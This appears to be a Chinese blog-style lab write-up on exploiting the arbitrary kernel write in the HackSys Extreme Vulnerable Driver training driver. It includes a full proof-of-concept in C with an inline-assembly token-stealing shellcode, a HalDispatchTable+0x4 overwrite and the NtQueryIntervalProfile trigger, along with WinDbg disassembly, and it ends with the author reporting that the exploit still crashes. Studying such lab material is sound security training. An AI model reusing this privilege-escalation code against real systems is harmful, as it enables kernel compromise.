返回
顶部

(所有压缩包的密码均为1)

references:

环境搭建

漏洞成因

由于驱动程序未检查由用户模式传过来的地址是否位于用户模式中,可能会导致任意内核地址的任意写(Write-What-Where

#ifdef SECURE
        ProbeForRead((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
        ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));

        *(Where) = *(What);
#else
        DbgPrint("[+] Triggering Arbitrary Overwrite\n");
        *(Where) = *(What);
#endif

可以看到,安全代码使用了函数ProbeForRead对用户传过来的地址进行了检查,而漏洞代码未进行任何检查,直接写入用户指定的内存地址

在IDA中可以看到触发漏洞函数的IO control code是0x22200B

image-20240125142016291

查看漏洞代码:

int __stdcall TriggerArbitraryOverwrite(_WRITE_WHAT_WHERE *UserWriteWhatWhere)
{
  unsigned int *What; // edi
  unsigned int *Where; // ebx

  ProbeForRead(UserWriteWhatWhere, 8u, 4u);
  What = UserWriteWhatWhere->What;
  Where = UserWriteWhatWhere->Where;
  DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
  DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", 8);
  DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
  DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);
  DbgPrint("[+] Triggering Arbitrary Overwrite\n");
  *Where = *What;
  return 0;
}

很明显,传入的是一个结构体,两个字段,一个What,一个Where

typedef struct _UserWriteWhatWhere {
    DWORD What;
    DWORD Where;
} _WRITE_WHAT_WHERE

触发漏洞

#include <stdio.h>
#include <malloc.h>
#include <Windows.h>
#pragma pack(1)
typedef struct _UserWriteWhatWhere {
    DWORD What;
    DWORD Where;
} _WRITE_WHAT_WHERE;

int main() {
    HANDLE driver_handle = CreateFileW(L"\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 3, 0, 3, 0x80, 0);
    if(INVALID_HANDLE_VALUE==driver_handle) {
        printf("can not open device, %x\n",GetLastError());
        exit(-1);
    }

    // io control 
        _WRITE_WHAT_WHERE* www = (_WRITE_WHAT_WHERE*)malloc(sizeof(_WRITE_WHAT_WHERE));
    if (0 == www) {
        printf("I've never seen malloc falied\n"); exit(-1);
    }
    // 这两个地址该怎么写我还真不知道  不过可以先随便写两个地址  看看iocode好不好使
    int what = 0;
    int where = 1;
    DWORD whataddresss = reinterpret_cast<DWORD>(&what);
    DWORD whereaddresss = reinterpret_cast<DWORD>(&where);
    www->What = whataddresss;
    www->Where = whereaddresss;
    DWORD   BytesReturned = 0;
    // 触发漏洞    iocontrol调用之后  where的值由1变成了0  说明调用正确
    if (DeviceIoControl(driver_handle, 0x22200B, www, sizeof(www), 0, 0, &BytesReturned, 0))
        return 1;

    return 0;
}

现在我们已经知道怎么抵达漏洞代码了,但是并不清楚如何进行利用

要想正确的利用该漏洞还不引起BSOD,需要用到Windows的一个未公开的函数ZWQueryIntervalProfile,该函数会调用系统调用nt!NtQueryIntervalProfile,内核函数存在于ntoskrnl.exe中,我们需要把这个文件搞到ida里看一看

我们需要获取到内核中的一个关键的地址,然后往这个地址中写入一些东西,这个过程必须是安全的而且可靠的,以免导致机器蓝屏

有一个几乎不怎么会被用到的函数NtQueryIntervalProfile,这个函数会调用内核函数KeQueryIntervalProfile,最终调用到HalDispatchTable+0x4所在的函数

poppopret有一篇关于这项技术的文章,大致总结如下:

  • 在用户模式中加载ntkrnlpa.exe从而获取到HalDispatchTable的偏移量进而计算出他在内核中的地址
  • 获取我们的shellcode的地址
  • 从ntdll.dll中获取系统调用NtQueryIntervalProfile函数的地址
  • 将nt!HalDispatchTable+0x4覆盖为我们的shellcode函数
  • 调用NtQueryIntervalProfile来启动我们的shellcode

先来逆向一下NtQueryIntervalProfile函数

image-20241019150424058

image-20241019150455128

我们需要覆盖的地址就是nt!HalDispatchTable+0x4,重写了这个地址之后,只需要调用NtQueryIntervalProfile即可调用到我们的shellcode

也就是说我们需要覆盖这个地方

image-20241019173841755

根据上面的分析我们编写出如下测试POC代码:

#include <stdio.h>
#include <malloc.h>
#include <Windows.h>
#pragma pack(1)
typedef struct _UserWriteWhatWhere {
    DWORD What;
    DWORD Where;
} _WRITE_WHAT_WHERE;

   #include <Windows.h>
#include <psapi.h>
#include <iostream>

uintptr_t GetNtKernelBaseAddress() {
    DWORD drivers[1024];
    DWORD cbNeeded;

    // Enumerate device drivers
    if (EnumDeviceDrivers((LPVOID*)drivers, sizeof(drivers), &cbNeeded)) {
        int driverCount = cbNeeded / sizeof(drivers[0]);
        for (int i = 0; i < driverCount; i++) {
            char driverName[MAX_PATH];

            // Get the base name of the driver
            if (GetDeviceDriverBaseNameA((LPVOID)drivers[i], driverName, sizeof(driverName) / sizeof(driverName[0]))) {
                printf("%s\n",driverName);
                // Check if the driver name is "ntkrnl"
                if (strstr(driverName, "ntoskrnl") != nullptr) {
                    return (uintptr_t)drivers[i];
                }
            }
        }
    }
    // Return 0 if ntkrnl is not found or if enumeration fails
    return 0;
}




VOID TokenStealingPayloadWin7() {
    // Importance of Kernel Recovery
    __asm {
         mov     eax,dword ptr fs:[00000124h]
  add     eax,40h
  mov     eax,dword ptr [eax+10h]
  mov     ecx,dword ptr [eax+0B8h]
_00400012:
             mov     ecx,dword ptr [ecx]
  mov     esi,ecx
  sub     esi,0B8h
  mov     esi,dword ptr [esi+0B4h]
  cmp     esi,4
  jne     _00400012
  mov     edi,dword ptr [ecx+40h]
_0040002a:
            mov     ecx,dword ptr [ecx]
   mov     esi,ecx
   sub     esi,0B8h
   mov     esi,dword ptr [esi+0B4h]
   cmp     esi,378h
   jne     _0040002a
   lea     esi,[ecx+40h]
   mov     dword ptr [esi],edi
_00400047:
            mov     ecx,dword ptr [ecx]
 mov     esi,ecx
 sub     esi,0B8h
 mov     esi,dword ptr [esi+0B4h]
 cmp     esi,17B0h       ;; 这个是等待提权的cmd的PID

 jne     _00400047
 je      _00400047

    }
}
void sizeer(PVOID a1) {
if (a1==NULL) return;
return;
}
     typedef NTSTATUS (__stdcall *_NtQueryIntervalProfile)(DWORD ProfileSource, PULONG Interval);

int main() {
    sizeer(NULL);
    DWORD shellcodeaaddr=        (DWORD)VirtualAlloc(0,   (DWORD)sizeer-(DWORD)TokenStealingPayloadWin7,0x3000,0x40);
    memset((PVOID)shellcodeaaddr,0,  (DWORD)sizeer-(DWORD)TokenStealingPayloadWin7);
    memcpy((PVOID)shellcodeaaddr,TokenStealingPayloadWin7,  (DWORD)sizeer-(DWORD)TokenStealingPayloadWin7)   ;
    HMODULE oskrn=LoadLibraryA("C:\\Windows\\System32\\ntoskrnl.exe");
    PVOID tableAddr=GetProcAddress(oskrn,"HalDispatchTable")    ;

             DWORD offset=(DWORD)tableAddr-(DWORD)oskrn;

         DWORD osKrnlBaseaddr=GetNtKernelBaseAddress();

           DWORD targetAddr=offset+osKrnlBaseaddr+4;
        DWORD* whatPointer=(DWORD*)malloc(0x4);
    *whatPointer=   (DWORD) shellcodeaaddr;
    HANDLE driver_handle = CreateFileW(L"\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 3, 0, 3, 0x80, 0);
    if(INVALID_HANDLE_VALUE==driver_handle) {
        printf("can not open device, %x\n",GetLastError());
        exit(-1);
    }

    // io control 
        _WRITE_WHAT_WHERE* www = (_WRITE_WHAT_WHERE*)malloc(sizeof(_WRITE_WHAT_WHERE));
    if (0 == www) {
        printf("I've never seen malloc falied\n"); exit(-1);
    }
    printf("shellcode addrd: %p\n",TokenStealingPayloadWin7);
    // 这两个地址该怎么写我还真不知道  不过可以先随便写两个地址  看看iocode好不好使
    int what = 0;
    int where = 1;
    DWORD whataddresss = reinterpret_cast<DWORD>(&what);
    DWORD whereaddresss = reinterpret_cast<DWORD>(&where);
    www->What =(DWORD) whatPointer;
    www->Where = targetAddr;
    DWORD   BytesReturned = 0;
    // 触发漏洞    iocontrol调用之后  where的值由1变成了0  说明调用正确
    if (!DeviceIoControl(driver_handle, 0x22200B, www, sizeof(www), 0, 0, &BytesReturned, 0))
        return 1;

    // 调用函数触发shellcode
    _NtQueryIntervalProfile    NtQueryIntervalProfile  = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryIntervalProfile");
                           int abc=0;
                           printf("NtQueryIntervalProfile addr: %p\n",NtQueryIntervalProfile);
                           MessageBoxA(NULL,"OK","OK",MB_OK);
                           // a1不能为1
 NtQueryIntervalProfile(1,(PULONG)&abc);


    return 0;
}

我们首先在NtQueryIntervalProfile函数处下断点,看看怎么才能到达nt!HalDispatchTable+0x4

那么我们要计算出来NtQueryIntervalProfile对应的内核函数的地址,计算方式如下:

dd nt!KiServiceTable+(sysCallNumber*4) L1

NtQueryIntervalProfile的Syscall number为0xAB

image-20241028012810244

这个函数一般不会被调用,我们直接在这里下断点,然后运行POC来触发

OK,现在我们已断下来了

image-20241028013440488

该函数的汇编代码如下:

kd> uf nt!NtQueryIntervalProfile
nt!NtQueryIntervalProfile:
8154546c 6a0c            push    0Ch
8154546e 6828a43d81      push    offset nt!RtlpSparseBitmapCtxPrepareRanges+0x5da9 (813da428)
81545473 e800f1dcff      call    nt!_SEH_prolog4 (81314578)
81545478 64a124010000    mov     eax,dword ptr fs:[00000124h]
8154547e 8a985a010000    mov     bl,byte ptr [eax+15Ah]
81545484 84db            test    bl,bl
81545486 741b            je      nt!NtQueryIntervalProfile+0x37 (815454a3)  Branch

nt!NtQueryIntervalProfile+0x1c:
81545488 8365fc00        and     dword ptr [ebp-4],0
8154548c 8b4d0c          mov     ecx,dword ptr [ebp+0Ch]
8154548f a158c94281      mov     eax,dword ptr [nt!MmUserProbeAddress (8142c958)]
81545494 3bc8            cmp     ecx,eax
81545496 7336            jae     nt!NtQueryIntervalProfile+0x62 (815454ce)  Branch

nt!NtQueryIntervalProfile+0x2c:
81545498 8b01            mov     eax,dword ptr [ecx]
8154549a 8901            mov     dword ptr [ecx],eax
8154549c c745fcfeffffff  mov     dword ptr [ebp-4],0FFFFFFFEh

nt!NtQueryIntervalProfile+0x37:
815454a3 8b4d08          mov     ecx,dword ptr [ebp+8]
815454a6 e833000000      call    nt!KeQueryIntervalProfile (815454de)
815454ab 8bc8            mov     ecx,eax
815454ad 84db            test    bl,bl
815454af 7421            je      nt!NtQueryIntervalProfile+0x66 (815454d2)  Branch

nt!NtQueryIntervalProfile+0x45:
815454b1 c745fc01000000  mov     dword ptr [ebp-4],1
815454b8 8b450c          mov     eax,dword ptr [ebp+0Ch]
815454bb 8908            mov     dword ptr [eax],ecx
815454bd c745fcfeffffff  mov     dword ptr [ebp-4],0FFFFFFFEh

nt!NtQueryIntervalProfile+0x58:
815454c4 33c0            xor     eax,eax
815454c6 e8f2f0dcff      call    nt!_SEH_epilog4 (813145bd)
815454cb c20800          ret     8

nt!NtQueryIntervalProfile+0x62:
815454ce 8bc8            mov     ecx,eax
815454d0 ebc6            jmp     nt!NtQueryIntervalProfile+0x2c (81545498)  Branch

nt!NtQueryIntervalProfile+0x66:
815454d2 8b450c          mov     eax,dword ptr [ebp+0Ch]
815454d5 8908            mov     dword ptr [eax],ecx
815454d7 ebeb            jmp     nt!NtQueryIntervalProfile+0x58 (815454c4)  Branch

我们需要抵达815454a6

windows x86的调用约定:

image-20241028014436692

从这张图片中可以看出来所有的参数都是通过栈传递的,按照从右至左的顺序压栈

而在取值方面:

image-20241028020031018

可以看到,从a1到a4依次通过ebp+0x8\0xC\0x10\0x14完成

了解了这些之后,我们再来分析nt!NtQueryIntervalProfile的汇编代码

最终a2取值之后放到eax,a1放到ecx中,然后调用nt!KeQueryIntervalProfile

image-20241028020420543

但是无论什么样的调用约定,eax都是用于存储返回值的,而在这个call指令之前有没有看到压栈操作,因此我们只能认为nt!KeQueryIntervalProfile是一个fastcall,使用ecx和edx传递前两个参数,后面的参数使用栈传递,那么也就是说只有ecx是有效参数,即我们传递给nt!NtQueryIntervalProfile的a1

现在我们来分析nt!KeQueryIntervalProfile

kd> uf nt!KeQueryIntervalProfile
nt!KeQueryIntervalProfile:
815454de 8bff            mov     edi,edi
815454e0 55              push    ebp
815454e1 8bec            mov     ebp,esp
815454e3 83ec14          sub     esp,14h
815454e6 83f901          cmp     ecx,1
815454e9 7426            je      nt!KeQueryIntervalProfile+0x33 (81545511)  Branch

nt!KeQueryIntervalProfile+0xd:
815454eb 8d45fc          lea     eax,[ebp-4]
815454ee 894dec          mov     dword ptr [ebp-14h],ecx
815454f1 50              push    eax
815454f2 8d45ec          lea     eax,[ebp-14h]
815454f5 50              push    eax
815454f6 6a10            push    10h
815454f8 6a01            push    1
815454fa ff150cd03e81    call    dword ptr [nt!HalDispatchTable+0x4 (813ed00c)]
81545500 85c0            test    eax,eax
81545502 7814            js      nt!KeQueryIntervalProfile+0x3a (81545518)  Branch

nt!KeQueryIntervalProfile+0x26:
81545504 807df000        cmp     byte ptr [ebp-10h],0
81545508 740e            je      nt!KeQueryIntervalProfile+0x3a (81545518)  Branch

nt!KeQueryIntervalProfile+0x2c:
8154550a 8b45f4          mov     eax,dword ptr [ebp-0Ch]

nt!KeQueryIntervalProfile+0x2f:
8154550d 8be5            mov     esp,ebp
8154550f 5d              pop     ebp
81545510 c3              ret

nt!KeQueryIntervalProfile+0x33:
81545511 a144284081      mov     eax,dword ptr [nt!KiProfileAlignmentFixupInterval (81402844)]
81545516 ebf5            jmp     nt!KeQueryIntervalProfile+0x2f (8154550d)  Branch

nt!KeQueryIntervalProfile+0x3a:
81545518 33c0            xor     eax,eax
8154551a ebf1            jmp     nt!KeQueryIntervalProfile+0x2f (8154550d)  Branch

很明显我们在815454e9是不能je的,因此ecx不能为1,调整POC代码的NtQueryIntervalProfile(1,(PULONG)&abc);NtQueryIntervalProfile(0,(PULONG)&abc);

现在已经可以跳转到我们自己的代码上面了,但是跳转到一瞬间直接崩溃了

image-20241028021336908

image-20241028021428826

windows提示我们在不可运行的内存上面运行代码

我用!vad看了一下,我这明明是可执行的呀,不知道为啥还是会蓝屏

image-20241028023722617

妈的解决不了,官方的EXP运行起来也是蓝屏